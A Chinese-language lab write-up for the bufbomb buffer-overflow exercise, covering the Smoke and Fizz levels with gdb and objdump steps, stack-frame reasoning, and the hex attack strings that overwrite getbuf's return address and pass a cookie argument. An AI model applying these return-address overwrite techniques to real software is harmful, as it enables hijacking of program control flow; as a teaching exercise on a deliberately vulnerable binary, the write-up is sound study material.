逆向工程【缓冲区溢出攻击】

任务描述

掌握函数调用时的栈帧结构,利用输入缓冲区的溢出漏洞,将攻击代码嵌入当前程序的栈帧中,使程序执行我们所期望的过程。

主要方法

溢出的字符将覆盖栈帧上的数据,会覆盖程序调用的返回地址,这赋予了我们控制程序流程的能力。通过构造溢出字符串,程序将“返回”至我们想要的代码上。
在这里插入图片描述
实验包括三个可执行文件:
---| bufbomb为目标程序
---| makecookie可以生成bufbomb需要的输入参数的cookie(也可以在gdb调试时直接读取寄存器获得)
---| sendstring可以将ASCII码转成字符(实验用到了拓展ASCII码)

程序运行时栈帧结构

在这里插入图片描述

Level0:Somke

getbuf函数在test中被调用,当getbuf返回时继续执行第八行:

void test()  {      int val;      volatile int local = 0xdeadbeef;      entry_check(3); /* Make sure entered this function properly */      val = getbuf();      /* Check for corrupted stack */      if (local != 0xdeadbeef) {          printf("Sabotaged!: the stack has been corrupted\n");      }      else if (val == cookie) {          ......     } }

Bufbomb中一个正常情况下不会被执行的函数:

void smoke()  {      entry_check(0); /* Make sure entered this function properly */      printf("Smoke!: You called smoke()\n");      validate(0);      exit(0);  }

攻击目标

在getbuf返回时跳到smoke函数执行。

思路

1、通过gdb调试得到我们输入的字符串首地址p/x $ebp-0xc
2、找到函数smoke的地址p/x &smoke
3、用smoke函数的地址覆盖getbuf的返回地址

操作

首先对可执行程序进行反汇编objdump -d bufbomb > bufbomb.s
在这里插入图片描述
在这里插入图片描述
反汇编得到的汇编码中,找到getbuf的代码段,可以看到缓冲区首地址为-0xc(%ebp),%eax
打开gdb调试,在Gets函数执行前设置断点b *0x8048fec
运行程序,输入测试字符:
在这里插入图片描述
得到缓冲区首地址为0xffffb16c
在这里插入图片描述
得到smoke函数入口地址0x8048e20

接下来只需要构造攻击字符串,使得字符串溢出部分覆盖返回地址,达到“返回”到smoke函数的目的。

根据程序运行时的栈帧结构,可以得到返回地址存储在ebp寄存器的后4字节,输入缓冲区大小为0xc+4,最终得到攻击字符串长度应该为0xc+4+4=20字节。
只要输入字符串的最后4字节为smoke函数入口地址即可跳转,前16字节数据可以为任意值,小端模式下攻击字符串如下:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08
将字符串保存到exploit1.txt文件中,使用./sendstring <exploit1.txt> exploit1_raw.txt将ASCII码转为实际字符。
执行程序测试运行结果./bufbomb -t USTCSA < exploit1_raw.txt
在这里插入图片描述

Level1:Fizz

另一函数

void fizz(int val)  {      entry_check(1); /* Make sure entered this function properly */      if (val == cookie) {          printf("Fizz!: You called fizz(0x%x)\n", val);          validate(1);      } else          printf("Misfire: You called fizz(0x%x)\n", val);      exit(0);  }

攻击目标

“返回”到该函数并传送参数cookie

操作

原理与smoke相同,观察栈帧结构可以发现只需要在smoke攻击字串后面再继续覆盖调用栈帧的参数。
在这里插入图片描述
fizz入口地址为0x8048dc0.
与smoke相同,ebp+4为栈帧返回地址。

执行完ret指令后栈顶指针 %esp 会自动增加4以还原栈帧。

在fizz汇编代码段,cmp指令是将存放cookie的变量与%ebp+0x8处的值相比,此时参数地址也就是旧的ebp+4+8。

cookie值通过./makecookie USTCSA获得。

通过以上分析可以得到,fizz攻击的字符串与smoke相比,只需要将ebp之上4个字节的地址覆盖,然后再往上8字节填入cookie参数。

除了fizz的入口地址与cookie参数,其余字节都可以用任意值填充,得到一下攻击字符串。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 c1 5f d3 11
再使用sendstring获得新的攻击字符,执行程序测试运行结果
在这里插入图片描述